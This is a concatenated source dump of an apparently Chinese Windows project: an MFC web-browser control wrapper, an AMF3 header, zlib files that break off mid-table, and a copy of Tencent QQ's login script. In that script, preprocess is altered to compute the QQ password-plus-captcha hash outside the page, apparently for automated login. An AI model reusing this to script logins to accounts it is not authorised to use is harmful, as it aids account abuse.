    InvokeHelper(0x229, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetTheaterMode()


{


    BOOL result;


    InvokeHelper(0x22a, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetTheaterMode(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x22a, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetAddressBar()


{


    BOOL result;


    InvokeHelper(0x22b, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetAddressBar(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x22b, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}





BOOL CWebBrowser2::GetResizable()


{


    BOOL result;


    InvokeHelper(0x22c, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);


    return result;


}





void CWebBrowser2::SetResizable(BOOL bNewValue)


{


    static BYTE parms[] =


        VTS_BOOL;


    InvokeHelper(0x22c, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,


         bNewValue);


}








源码/webbrowser2.h

#if !defined(AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_)
#define AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++

// NOTE: Do not modify the contents of this file.  If this class is regenerated by
//  Microsoft Visual C++, your modifications will be overwritten.

/////////////////////////////////////////////////////////////////////////////
// CWebBrowser2 wrapper class

class CWebBrowser2 : public CWnd
{
protected:
	DECLARE_DYNCREATE(CWebBrowser2)
public:
	CLSID const& GetClsid()
	{
		static CLSID const clsid
			= { 0x8856f961, 0x340a, 0x11d0, { 0xa9, 0x6b, 0x0, 0xc0, 0x4f, 0xd7, 0x5, 0xa2 } };
		return clsid;
	}
	virtual BOOL Create(LPCTSTR lpszClassName,
		LPCTSTR lpszWindowName, DWORD dwStyle,
		const RECT& rect,
		CWnd* pParentWnd, UINT nID,
		CCreateContext* pContext = NULL)
	{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID); }

    BOOL Create(LPCTSTR lpszWindowName, DWORD dwStyle,
		const RECT& rect, CWnd* pParentWnd, UINT nID,
		CFile* pPersist = NULL, BOOL bStorage = FALSE,
		BSTR bstrLicKey = NULL)
	{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID,
		pPersist, bStorage, bstrLicKey); }

// Attributes
public:

// Operations
public:
	void GoBack();
	void GoForward();
	void GoHome();
	void GoSearch();
	void Navigate(LPCTSTR URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers);
	void Refresh();
	void Refresh2(VARIANT* Level);
	void Stop();
	LPDISPATCH GetApplication();
	LPDISPATCH GetParent();
	LPDISPATCH GetContainer();
	LPDISPATCH GetDocument();
	BOOL GetTopLevelContainer();
	CString GetType();
	long GetLeft();
	void SetLeft(long nNewValue);
	long GetTop();
	void SetTop(long nNewValue);
	long GetWidth();
	void SetWidth(long nNewValue);
	long GetHeight();
	void SetHeight(long nNewValue);
	CString GetLocationName();
	CString GetLocationURL();
	BOOL GetBusy();
	void Quit();
	void ClientToWindow(long* pcx, long* pcy);
	void PutProperty(LPCTSTR Property_, const VARIANT& vtValue);
	VARIANT GetProperty_(LPCTSTR Property_);
	CString GetName();
	long GetHwnd();
	CString GetFullName();
	CString GetPath();
	BOOL GetVisible();
	void SetVisible(BOOL bNewValue);
	BOOL GetStatusBar();
	void SetStatusBar(BOOL bNewValue);
	CString GetStatusText();
	void SetStatusText(LPCTSTR lpszNewValue);
	long GetToolBar();
	void SetToolBar(long nNewValue);
	BOOL GetMenuBar();
	void SetMenuBar(BOOL bNewValue);
	BOOL GetFullScreen();
	void SetFullScreen(BOOL bNewValue);
	void Navigate2(VARIANT* URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers);
	long QueryStatusWB(long cmdID);
	void ExecWB(long cmdID, long cmdexecopt, VARIANT* pvaIn, VARIANT* pvaOut);
	void ShowBrowserBar(VARIANT* pvaClsid, VARIANT* pvarShow, VARIANT* pvarSize);
	long GetReadyState();
	BOOL GetOffline();
	void SetOffline(BOOL bNewValue);
	BOOL GetSilent();
	void SetSilent(BOOL bNewValue);
	BOOL GetRegisterAsBrowser();
	void SetRegisterAsBrowser(BOOL bNewValue);
	BOOL GetRegisterAsDropTarget();
	void SetRegisterAsDropTarget(BOOL bNewValue);
	BOOL GetTheaterMode();
	void SetTheaterMode(BOOL bNewValue);
	BOOL GetAddressBar();
	void SetAddressBar(BOOL bNewValue);
	BOOL GetResizable();
	void SetResizable(BOOL bNewValue);
};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_)








源码/xAmf3.h

// xAmf3.h: interface for the xAmf3 class.
//
//////////////////////////////////////////////////////////////////////
#include<vector>
using namespace std;

#if !defined(AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_)
#define AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000





//object对象是否动态创建
#define DYNAMIC_OBJ_MAX_PROPERTY	512

//参考标志位
#define REFERENCE_BIT	0x01

//空
#define EMPTY_STRING	0x01

//鏁版嵁绫诲瀷瀹氫箟
enum DataType
{
		DT_UNDEFINED = 0x00,	//unsupport
		DT_NULL = 0x01,
		DT_FALSE = 0x02,
		DT_TRUE = 0x03,
		DT_INTEGER = 0x04,
		DT_DOUBLE = 0x05,
		DT_STRING = 0x06,
		DT_XMLDOC = 0x07,		//unsupport
		DT_DATE = 0x08,
		DT_ARRAY = 0x09,
		DT_OBJECT = 0x0A,
		DT_XML = 0x0B,			//unsupport
		DT_BYTEARRAY = 0x0C		
};



class xAmf3  
{
public:
	xAmf3();
	virtual ~xAmf3();

};

#endif // !defined(AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_)








源码/Xlogin.js

STR_UINTIP = 1;
STR_QLOGIN_VERSION_ERR = 2;
STR_NO_UIN = 3;
STR_NO_PWD = 4;
STR_NO_VCODE = 5;
STR_INV_UIN = 6;
STR_INV_VCODE = 7;
STR_UIN = 8;
STR_PWD = 9;
STR_VCODE = 10;
STR_VCODE_TIP = 11;
STR_CHANGE_VCODE = 12;
STR_REMEMBER_PWD = 13;
STR_1_DAY = 14;
STR_1_WEEK = 15;
STR_1_MONTH = 16;
STR_HALF_YEAR = 17;
STR_1_YEAR = 18;
STR_FORGET_PWD = 19;
STR_LOGIN = 20;
STR_RESET = 21;
STR_SWITCH_QLOGIN = 22;
STR_LOGIN_TITLE = 23;
STR_QLOGIN_INTRO = 24;
STR_QLOGINING = 25;
STR_QLOGIN_HELP = 26;
STR_SWITCH_NORMAL = 27;
STR_QLOGIN = 28;
STR_QLOGIN_BUSY = 29;
STR_QLOGIN_OFFLINE = 30;
STR_QLOGIN_OTHER_ERR = 31;
STR_BACK = 32;
STR_RETRY = 33;
STR_NEW_REG = 34;
STR_QLOGIN_SELECT = 35;
STR_QLOGIN_VER = 36;
STR_QLOGIN_SELECT_TIP = 37;
STR_QLOGIN_NO_UIN = 38;
STR_QLOGIN_SELECT_OFFLINE = 39;
my_version = unescape("version1.0.0");
function ptui_trim(A) {
    return A.replace(/(^\s*)|(\s*$)/g, "")
}
function ptui_str(A) {
    A -= 1;
    if (A >= 0 && A < g_strArray.length) {
        return g_strArray[A]
    }
    return ""
}
function ptui_mapStr(B) {
    for (i = 0; i < B.length; i++) {
        var A = document.getElementById(B[i][1]);
        if (A != null) {
            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {
                if (A.innerHTML == "") {
                    A.innerHTML = ptui_str(B[i][0])
                }
            } else {
                if ("INPUT" == A.nodeName) {
                    if (A.value == "") {
                        A.value = ptui_str(B[i][0])
                    }
                } else {
                    if ("IMG" == A.nodeName) {
                        A.alt = ptui_str(B[i][0])
                    }
                }
            }
        }
    }
}
function ptui_onUserFocus(C, A) {
    var B = document.getElementById(C);
    if (ptui_str(STR_UINTIP) == B.value) {
        B.value = ""
    }
    B.style.color = A
}
function ptui_onUserBlue(C, A) {
    var B = document.getElementById(C);
    if ("" == B.value) {
        B.value = ptui_str(STR_UINTIP);
        B.style.color = A
    }
}
var g_speedArray = new Array();
function ptui_setSpeed(B) {
    if (B <= 0) {
        return
    }
    var A = g_speedArray.length;
    g_speedArray[A] = new Array(B, new Date())
}
function ptui_reportSpeed(B) {
    if (Math.random() > 0.1) {
        return
    }
    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";
    for (var A = 0; A < g_speedArray.length; A++) {
        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)
    }
    imgSendTimePoint = new Image();
    imgSendTimePoint.src = url
}
function ptui_showDiv(A, B) {
    var C = document.getElementById(A);
    if (null == C) {
        return
    }
    if (B) {
        C.style.display = "block"
    } else {
        C.style.display = "none"
    }
}
function ptui_notifySize(B) {
    try {
        obj = document.getElementById(B);
        if (obj) {
            if (parent.ptlogin2_onResize) {
                width = 1;
                height = 1;
                if (obj.offsetWidth > 0) {
                    width = obj.offsetWidth
                }
                if (obj.offsetHeight > 0) {
                    height = obj.offsetHeight
                }
                parent.ptlogin2_onResize(width, height)
            }
        }
    } catch(A) {}
}
function ptui_notifyClose() {
    try {
        if (parent.ptlogin2_onClose) {
            parent.ptlogin2_onClose()
        } else {
            if (top == this) {
                window.close()
            }
        }
    } catch(A) {
        window.close()
    }
}
function ptui_setUinColor(D, B, A) {
    var C = document.getElementById(D);
    if (ptui_str(STR_UINTIP) == C.value) {
        C.style.color = A
    } else {
        C.style.color = B
    }
}
function ptui_onEnableLLogin(B) {
    var A = B.low_login_enable;
    var C = B.low_login_hour;
    if (A != null && C != null) {
        C.disabled = !A.checked
    }
}
function ptui_changeImgEx(D, C, G, F) {
    var A = document.getElementById("imgVerify");
    try {
        if (A != null) {
            A.src = F + "?aid=" + C + "&" + Math.random();
            var B = document.getElementById("verifycode");
            if (B != null && B.disabled == false && G) {
                B.focus();
                B.select()
            }
        }
    } catch(E) {}
}
function ptui_changeImg(B, A, C) {
    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")
}
function ptui_changeImgHttps(B, A, C) {
    ptui_changeImgEx(B, A, C, "./getimage")
}
function ptui_checkQQUin(qquin) {
    if (qquin.length == 0) {
        return false
    }
    qquin = ptui_trim(qquin);
    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {
        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {
            return false
        }
        var exp = eval("/^[0-9]*$/");
        return exp.test(qquin)
    }
    return true
}
function ptui_checkPwdOnInput() {
    if (document.getElementById("p").value.length >= 16) {
        return false
    }
    return true
}
function ptui_onLogin(A) {
    try {
        if (parent.ptlogin2_onLogin) {
            if (!parent.ptlogin2_onLogin()) {
                return false
            }
        }
        if (parent.ptlogin2_onLoginEx) {
            var D = A.u.value;
            var B = A.verifycode.value;
            if (ptui_str(STR_UINTIP) == D) {
                D = ""
            }
            if (!parent.ptlogin2_onLoginEx(D, B)) {
                return false
            }
        }
    } catch(C) {}
    return ptui_checkValidate(A)
}
function ptui_onLoginEx(B, C) {
    if (ptui_onLogin(B)) {
        var A = new Date();
        A.setHours(A.getHours() + 24 * 30);
        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);
        return true
    }
    return false
}
function ptui_setDefUin(B, A) {
    if (A == "" || A == null) {
        A = getCookie("ptui_loginuin")
    }
    A = parseInt(A);
    if (isNaN(A)) {
        return
    }
    if (A <= 0) {
        A = ""
    }
    if (A != "" && A != null) {
        B.u.value = A
    }
}
function ptui_onReset(A) {
    try {
        if (parent.ptlogin2_onReset) {
            if (!parent.ptlogin2_onReset()) {
                return false
            }
        }
    } catch(B) {}
    return true
}
function ptui_initFocus(B) {
    try {
        var A = B.u;
        var D = B.p;
        var E = B.verifycode;
        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
            A.focus();
            return
        }
        if (D.value == "") {
            D.focus();
            return
        }
        if (E.value == "") {
            E.focus()
        }
    } catch(C) {}
}
function ptui_checkValidate(B) {
    var A = B.u;
    var C = B.p;
    var D = B.verifycode;
    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
        alert(ptui_str(STR_NO_UIN));
        A.focus();
        return false
    }
    if (C.value == "") {
        alert(ptui_str(STR_NO_PWD));
        C.focus();
        return false
    }
    if (D.value == "") {
        alert(ptui_str(STR_NO_VCODE));
        D.focus();
        return false
    }
    A.value = ptui_trim(A.value);
    if (!ptui_checkQQUin(A.value)) {
        alert(ptui_str(STR_INV_UIN));
        A.focus();
        A.select();
        return false
    }
    if (D.value.length != 4) {
        alert(ptui_str(STR_INV_VCODE));
        D.focus();
        D.select();
        return false
    }
    C.setAttribute("maxlength", "32");
    preprocess(B);
    return true
}
function getCookieVal(B) {
    var A = document.cookie.indexOf(";", B);
    if (A == -1) {
        A = document.cookie.length
    }
    return unescape(document.cookie.substring(B, A))
}
function getCookie(D) {
    var B = D + "=";
    var F = B.length;
    var A = document.cookie.length;
    var E = 0;
    while (E < A) {
        var C = E + F;
        if (document.cookie.substring(E, C) == B) {
            return getCookieVal(C)
        }
        E = document.cookie.indexOf(" ", E) + 1;
        if (E == 0) {
            break
        }
    }
    return null
}
function setCookie(C, E) {
    var A = setCookie.arguments;
    var H = setCookie.arguments.length;
    var B = (2 < H) ? A[2] : null;
    var G = (3 < H) ? A[3] : null;
    var D = (4 < H) ? A[4] : null;
    var F = (5 < H) ? A[5] : null;
    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")
}
var hexcase = 1;
var b64pad = "";
var chrsz = 8;
var mode = 32;
function preprocess(A,B) {
   // var B = "";
   // B += A.verifycode.value;
   // B = B.toUpperCase();
   // A.p.value = md5(md5_3(A.p.value) + B);
   // return true



//var str="necron8952795380";
str=md5(md5_3(B)+A);
//document.write(str);
//var ForReading = 1, ForWriting = 2;
    //var fso = new ActiveXObject("Scripting.FileSystemObject");

   // Open the file for output.
    //var filename = "c:\\testfile.txt";
   // var f = fso.OpenTextFile(filename, ForWriting, true);

    // Write to the file.
   //f.WriteLine("Hello world!");
   //f.WriteLine("JScript is fun");
   //f.Close();
return str;
}
function md5_3(B) {
    var A = new Array;
    A = core_md5(str2binl(B), B.length * chrsz);
    A = core_md5(A, 16 * chrsz);
    A = core_md5(A, 16 * chrsz);
    return binl2hex(A)
}
function md5(A) {
    return hex_md5(A)
}
function hex_md5(A) {
    return binl2hex(core_md5(str2binl(A), A.length * chrsz))
}
function b64_md5(A) {
    return binl2b64(core_md5(str2binl(A), A.length * chrsz))
}
function str_md5(A) {
    return binl2str(core_md5(str2binl(A), A.length * chrsz))
}
function hex_hmac_md5(A, B) {
    return binl2hex(core_hmac_md5(A, B))
}
function b64_hmac_md5(A, B) {
    return binl2b64(core_hmac_md5(A, B))
}
function str_hmac_md5(A, B) {
    return binl2str(core_hmac_md5(A, B))
}
function md5_vm_test() {
    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"
}
function core_md5(K, F) {
    K[F >> 5] |= 128 << ((F) % 32);
    K[(((F + 64) >>> 9) << 4) + 14] = F;
    var J = 1732584193;
    var I = -271733879;
    var H = -1732584194;
    var G = 271733878;
    for (var C = 0; C < K.length; C += 16) {
        var E = J;
        var D = I;
        var B = H;
        var A = G;
        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);
        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);
        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);
        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);
        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);
        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);
        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);
        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);
        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);
        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);
        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);
        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);
        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);
        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);
        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);
        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);
        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);
        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);
        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);
        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);
        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);
        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);
        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);
        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);
        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);
        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);
        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);
        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);
        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);
        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);
        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);
        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);
        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);
        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);
        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);
        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);
        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);
        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);
        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);
        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);
        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);
        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);
        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);
        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);
        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);
        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);
        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);
        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);
        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);
        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);
        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);
        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);
        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);
        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);
        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);
        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);
        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);
        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);
        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);
        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);
        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);
        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);
        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);
        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);
        J = safe_add(J, E);
        I = safe_add(I, D);
        H = safe_add(H, B);
        G = safe_add(G, A)
    }
    if (mode == 16) {
        return Array(I, H)
    } else {
        return Array(J, I, H, G)
    }
}
function md5_cmn(F, C, B, A, E, D) {
    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)
}
function md5_ff(C, B, G, F, A, E, D) {
    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)
}
function md5_gg(C, B, G, F, A, E, D) {
    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)
}
function md5_hh(C, B, G, F, A, E, D) {
    return md5_cmn(B ^ G ^ F, C, B, A, E, D)
}
function md5_ii(C, B, G, F, A, E, D) {
    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)
}
function core_hmac_md5(C, F) {
    var E = str2binl(C);
    if (E.length > 16) {
        E = core_md5(E, C.length * chrsz)
    }
    var A = Array(16),
    D = Array(16);
    for (var B = 0; B < 16; B++) {
        A[B] = E[B] ^ 909522486;
        D[B] = E[B] ^ 1549556828
    }
    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);
    return core_md5(D.concat(G), 512 + 128)
}
function safe_add(A, D) {
    var C = (A & 65535) + (D & 65535);
    var B = (A >> 16) + (D >> 16) + (C >> 16);
    return (B << 16) | (C & 65535)
}
function bit_rol(A, B) {
    return (A << B) | (A >>> (32 - B))
}
function str2binl(D) {
    var C = Array();
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < D.length * chrsz; B += chrsz) {
        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)
    }
    return C
}
function binl2str(C) {
    var D = "";
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < C.length * 32; B += chrsz) {
        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)
    }
    return D
}
function binl2hex(C) {
    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";
    var D = "";
    for (var A = 0; A < C.length * 4; A++) {
        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)
    }
    return D
}
function binl2b64(D) {
    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var F = "";
    for (var B = 0; B < D.length * 4; B += 3) {
        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);
        for (var A = 0; A < 4; A++) {
            if (B * 8 + A * 6 > D.length * 32) {
                F += b64pad
            } else {
                F += C.charAt((E >> 6 * (3 - A)) & 63)
            }
        }
    }
    return F
};
/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */







源码/Zip/adler32.c

/* adler32.c -- compute the Adler-32 checksum of a data stream
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#include "zlib.h"

#define BASE 65521L /* largest prime smaller than 65536 */
#define NMAX 5552
/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */

#define DO1(buf,i)  {s1 += buf[i]; s2 += s1;}
#define DO2(buf,i)  DO1(buf,i); DO1(buf,i+1);
#define DO4(buf,i)  DO2(buf,i); DO2(buf,i+2);
#define DO8(buf,i)  DO4(buf,i); DO4(buf,i+4);
#define DO16(buf)   DO8(buf,0); DO8(buf,8);

/* ========================================================================= */
uLong ZEXPORT adler32(adler, buf, len)
    uLong adler;
    const Bytef *buf;
    uInt len;
{
    unsigned long s1 = adler & 0xffff;
    unsigned long s2 = (adler >> 16) & 0xffff;
    int k;

    if (buf == Z_NULL) return 1L;

    while (len > 0) {
        k = len < NMAX ? len : NMAX;
        len -= k;
        while (k >= 16) {
            DO16(buf);
	    buf += 16;
            k -= 16;
        }
        if (k != 0) do {
            s1 += *buf++;
	    s2 += s1;
        } while (--k);
        s1 %= BASE;
        s2 %= BASE;
    }
    return (s2 << 16) | s1;
}








源码/Zip/compress.c

/* compress.c -- compress a memory buffer
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#include "zlib.h"

/* ===========================================================================
     Compresses the source buffer into the destination buffer. The level
   parameter has the same meaning as in deflateInit.  sourceLen is the byte
   length of the source buffer. Upon entry, destLen is the total size of the
   destination buffer, which must be at least 0.1% larger than sourceLen plus
   12 bytes. Upon exit, destLen is the actual size of the compressed buffer.

     compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
   memory, Z_BUF_ERROR if there was not enough room in the output buffer,
   Z_STREAM_ERROR if the level parameter is invalid.
*/
int ZEXPORT compress2 (dest, destLen, source, sourceLen, level)
    Bytef *dest;
    uLongf *destLen;
    const Bytef *source;
    uLong sourceLen;
    int level;
{
    z_stream stream;
    int err;

    stream.next_in = (Bytef*)source;
    stream.avail_in = (uInt)sourceLen;
#ifdef MAXSEG_64K
    /* Check for source > 64K on 16-bit machine: */
    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
#endif
    stream.next_out = dest;
    stream.avail_out = (uInt)*destLen;
    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;

    stream.zalloc = (alloc_func)0;
    stream.zfree = (free_func)0;
    stream.opaque = (voidpf)0;

    err = deflateInit(&stream, level);
    if (err != Z_OK) return err;

    err = deflate(&stream, Z_FINISH);
    if (err != Z_STREAM_END) {
        deflateEnd(&stream);
        return err == Z_OK ? Z_BUF_ERROR : err;
    }
    *destLen = stream.total_out;

    err = deflateEnd(&stream);
    return err;
}

/* ===========================================================================
 */
int ZEXPORT compress (dest, destLen, source, sourceLen)
    Bytef *dest;
    uLongf *destLen;
    const Bytef *source;
    uLong sourceLen;
{
    return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION);
}








源码/Zip/crc32.c

/* crc32.c -- compute the CRC-32 of a data stream
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#include "zlib.h"

#define local static

#ifdef DYNAMIC_CRC_TABLE

local int crc_table_empty = 1;
local uLongf crc_table[256];
local void make_crc_table OF((void));

/*
  Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
  x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.

  Polynomials over GF(2) are represented in binary, one bit per coefficient,
  with the lowest powers in the most significant bit.  Then adding polynomials
  is just exclusive-or, and multiplying a polynomial by x is a right shift by
  one.  If we call the above polynomial p, and represent a byte as the
  polynomial q, also with the lowest power in the most significant bit (so the
  byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
  where a mod b means the remainder after dividing a by b.

  This calculation is done using the shift-register method of multiplying and
  taking the remainder.  The register is initialized to zero, and for each
  incoming bit, x^32 is added mod p to the register if the bit is a one (where
  x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
  x (which is shifting right by one and adding x^32 mod p if the bit shifted
  out is a one).  We start with the highest power (least significant bit) of
  q and repeat for all eight bits of q.

  The table is simply the CRC of all possible eight bit values.  This is all
  the information needed to generate CRC's on data a byte at a time for all
  combinations of CRC register values and incoming bytes.
*/
local void make_crc_table()
{
  uLong c;
  int n, k;
  uLong poly;            /* polynomial exclusive-or pattern */
  /* terms of polynomial defining this crc (except x^32): */
  static const Byte p[] = {0,1,2,4,5,7,8,10,11,12,16,22,23,26};

  /* make exclusive-or pattern from polynomial (0xedb88320L) */
  poly = 0L;
  for (n = 0; n < sizeof(p)/sizeof(Byte); n++)
    poly |= 1L << (31 - p[n]);
 
  for (n = 0; n < 256; n++)
  {
    c = (uLong)n;
    for (k = 0; k < 8; k++)
      c = c & 1 ? poly ^ (c >> 1) : c >> 1;
    crc_table[n] = c;
  }
  crc_table_empty = 0;
}
#else
/* ========================================================================
 * Table of CRC-32's of all single-byte values (made by make_crc_table)
 */
local const uLongf crc_table[256] = {
  0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
  0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
  0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
  0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
  0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
  0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
  0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
  0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
